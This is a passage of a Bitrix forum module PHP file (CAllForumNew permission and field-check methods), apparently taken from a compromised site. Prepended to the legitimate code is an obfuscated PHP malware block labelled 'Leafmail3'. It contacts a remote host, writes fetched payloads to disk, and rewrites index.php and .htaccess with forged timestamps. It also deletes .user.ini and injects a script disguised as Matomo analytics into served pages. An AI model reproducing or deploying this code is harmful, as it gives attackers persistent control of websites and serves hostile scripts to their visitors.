Your IP : 52.15.200.26
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
##############################################
# Bitrix Site Manager Forum #
# Copyright (c) 2002-2009 Bitrix #
# http://www.bitrixsoft.com #
# mailto:admin@bitrixsoft.com #
##############################################
IncludeModuleLangFile(__FILE__);
/**********************************************************************/
/************** FORUM *************************************************/
/**********************************************************************/
class CAllForumNew
{
//---------------> Forum insert, update, delete
public static function CanUserViewForum($FID, $arUserGroups, $ExternalPermission = false)
{
$FID = intVal($FID);
$arUserGroups = (!is_array($arUserGroups) ? array($arUserGroups) : $arUserGroups);
if ($ExternalPermission === false && CForumUser::IsAdmin($arUserGroups)):
return true;
endif;
$strPerms = ($ExternalPermission == false ? CForumNew::GetUserPermission($FID, $arUserGroups) : $ExternalPermission);
if ($strPerms >= "Y")
return true;
$arForum = CForumNew::GetByID($FID);
if (!is_array($arForum) || $arForum["ACTIVE"] != "Y"):
return false;
endif;
return ($strPerms < "E" ? false : true);
}
public static function CanUserAddForum($arUserGroups, $iUserID = 0)
{
$arUserGroups = (!is_array($arUserGroups) ? array($arUserGroups) : $arUserGroups);
return CForumUser::IsAdmin($arUserGroups);
}
public static function CanUserUpdateForum($FID, $arUserGroups, $iUserID = 0, $ExternalPermission = false)
{
$FID = intVal($FID);
if ($ExternalPermission === false && CForumUser::IsAdmin($arUserGroups)):
return true;
elseif (!CForumUser::IsLocked($iUserID)):
$strPerms = ($ExternalPermission == false ? CForumNew::GetUserPermission($FID, $arUserGroups) : $ExternalPermission);
else:
$strPerms = CForumNew::GetPermissionUserDefault($FID, $arUserGroups);
endif;
return ($strPerms < "Y" ? false : true);
}
public static function CanUserDeleteForum($FID, $arUserGroups, $iUserID = 0, $ExternalPermission = false)
{
$FID = intVal($FID);
$arUserGroups = (!is_array($arUserGroups) ? array($arUserGroups) : $arUserGroups);
if ($ExternalPermission === false && CForumUser::IsAdmin($arUserGroups)):
return true;
elseif (!CForumUser::IsLocked($iUserID)):
$strPerms = ($ExternalPermission == false ? CForumNew::GetUserPermission($FID, $arUserGroups) : $ExternalPermission);
else:
$strPerms = CForumNew::GetPermissionUserDefault($FID);
endif;
return ($strPerms < "Y" ? false : true);
}
public static function CanUserModerateForum($FID, $arUserGroups, $iUserID = 0, $ExternalPermission = false)
{
$FID = intVal($FID);
$arUserGroups = (!is_array($arUserGroups) ? array($arUserGroups) : $arUserGroups);
if ($ExternalPermission === false && CForumUser::IsAdmin($arUserGroups)):
return true;
elseif (!CForumUser::IsLocked($iUserID)):
$strPerms = ($ExternalPermission == false ? CForumNew::GetUserPermission($FID, $arUserGroups) : $ExternalPermission);
else:
$strPerms = CForumNew::GetPermissionUserDefault($FID);
endif;
if ($strPerms >= "Y"):
return true;
endif;
$arForum = CForumNew::GetByID($FID);
if (!is_array($arForum) || $arForum["ACTIVE"] != "Y"):
return false;
endif;
return ($strPerms < "Q" ? false : true);
}
public static function CanUserEditForum($FID, $arUserGroups, $iUserID = 0, $ExternalPermission = false)
{
$FID = intVal($FID);
$arUserGroups = (!is_array($arUserGroups) ? array($arUserGroups) : $arUserGroups);
if ($ExternalPermission === false && CForumUser::IsAdmin($arUserGroups)):
return true;
elseif (!CForumUser::IsLocked($iUserID)):
$strPerms = ($ExternalPermission == false ? CForumNew::GetUserPermission($FID, $arUserGroups) : $ExternalPermission);
else:
$strPerms = CForumNew::GetPermissionUserDefault($FID);
endif;
if ($strPerms >= "Y"):
return true;
endif;
$arForum = CForumNew::GetByID($FID);
if (!is_array($arForum) || $arForum["ACTIVE"] != "Y"):
return false;
endif;
return ($strPerms < "U" ? false : true);
}
public static function CheckFields($ACTION, &$arFields)
{
$aMsg = array();
if (is_set($arFields, "NAME") || $ACTION == "ADD")
{
$arFields["NAME"] = trim($arFields["NAME"]);
if (empty($arFields["NAME"]))
$aMsg[] = array(
"id" => "NAME",
"text" => GetMessage("F_ERROR_EMPTY_NAME"));
}
if (!is_set($arFields, "SITES") && is_set($arFields, "LID"))
{
if (is_set($arFields, "PATH2FORUM_MESSAGE"))
$arFields["SITES"] = Array($arFields["LID"] => $arFields["PATH2FORUM_MESSAGE"]);
else
{
$sPath = "/";
$db_res = CSite::GetByID($arFields["LID"]);
if ($db_res && $res = $db_res->Fetch())
$sPath = $res["DIR"];
$arFields["SITES"] = array(
$arFields["LID"] => $sPath.(COption::GetOptionString("forum", "REL_FPATH", "")).
"forum/read.php?FID=#FORUM_ID#&TID=#TOPIC_ID#&MID=#MESSAGE_ID##message#MESSAGE_ID#");
}
}
if (is_set($arFields, "SITES") || $ACTION == "ADD")
{
if (is_array($arFields["SITES"]) && !empty($arFields["SITES"]))
{
$db_res = CSite::GetList($sBy = "sort", $sOrder = "asc");
$arSites = array();
while ($res = $db_res->Fetch())
{
if (is_set($arFields["SITES"], $res["LID"]))
{
if (strLen($arFields["SITES"][$res["LID"]]) > 0)
$arSites[$res["LID"]] = $arFields["SITES"][$res["LID"]];
else
$aMsg[] = array(
"id" => "SITE_PATH[".$res["LID"]."]",
"text" => GetMessage("F_ERROR_EMPTY_SITE_PATH",
array("#SITE_ID#" => $res["LID"], "#SITE_NAME#" => $res["NAME"])));
}
}
$arFields["SITES"] = $arSites;
}
if (!is_array($arFields["SITES"]) || empty($arFields["SITES"]))
{
$aMsg[] = array(
"id" => "SITES",
"text" => GetMessage("F_ERROR_EMPTY_SITES"));
}
}
if(!empty($aMsg))
{
$e = new CAdminException(array_reverse($aMsg));
$GLOBALS["APPLICATION"]->ThrowException($e);
return false;
}
if (is_set($arFields, "SORT") || $ACTION=="ADD") $arFields["SORT"] = intVal(intVal($arFields["SORT"]) <= 0 ? 100 : $arFields["SORT"]);
if (is_set($arFields, "FORUM_GROUP_ID") || $ACTION=="ADD") $arFields["FORUM_GROUP_ID"] = (intVal($arFields["FORUM_GROUP_ID"]) <= 0 ? false : intVal($arFields["FORUM_GROUP_ID"]));
